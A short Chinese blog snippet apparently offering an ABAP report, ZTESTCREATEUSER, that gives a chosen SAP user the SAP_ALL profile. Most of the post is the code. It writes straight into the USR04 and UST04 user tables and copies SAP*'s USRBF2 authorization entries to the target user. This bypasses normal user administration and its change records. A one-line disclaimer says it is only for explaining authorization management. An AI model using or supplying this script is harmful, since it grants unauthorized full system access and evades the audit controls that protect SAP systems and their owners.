天天看点

给用户增加SAP_ALL权限

给用户增加SAP_ALL的权限,报表可对basis与abap开发人员对用户权限管理的思路,谢绝用于其它用途,后果自负。

REPORT  ZTESTCREATEUSER.

data: l_USR04 LIKE  USR04 ,

      l_UST04 LIKE UST04 ,

      l_PROFS LIKE USR04-PROFS  ,

      l_USRBF2 like USRBF2 occurs 0 with header line,

      l_userid like usr01-bname.

TABLES : usr01.

SELECT-OPTIONS: p_user FOR USR01-BNAME .

START-OF-SELECTION.

select single * into l_USR04 from USR04

where BNAME in p_user.

move 'C SAP_ALL' to l_PROFS .

l_USR04-NRPRO = '14'.

l_USR04-PROFS = l_PROFS.

Update USR04 from l_USR04 .

l_userid = l_USR04-BNAME.

select single * into l_UST04 from UST04

where BNAME in p_user.

l_UST04-PROFILE = 'SAP_ALL'.

Update UST04 from l_UST04 .

select * from USRBF2 into table l_USRBF2

where BNAME = 'SAP*' .

Loop at l_USRBF2.

l_USRBF2-BNAME = l_userid.

Modify l_USRBF2 INDEX sy-tabix TRANSPORTING BNAME.

endloop.

INSERT USRBF2 FROM TABLE l_USRBF2 ACCEPTING DUPLICATE KEYS.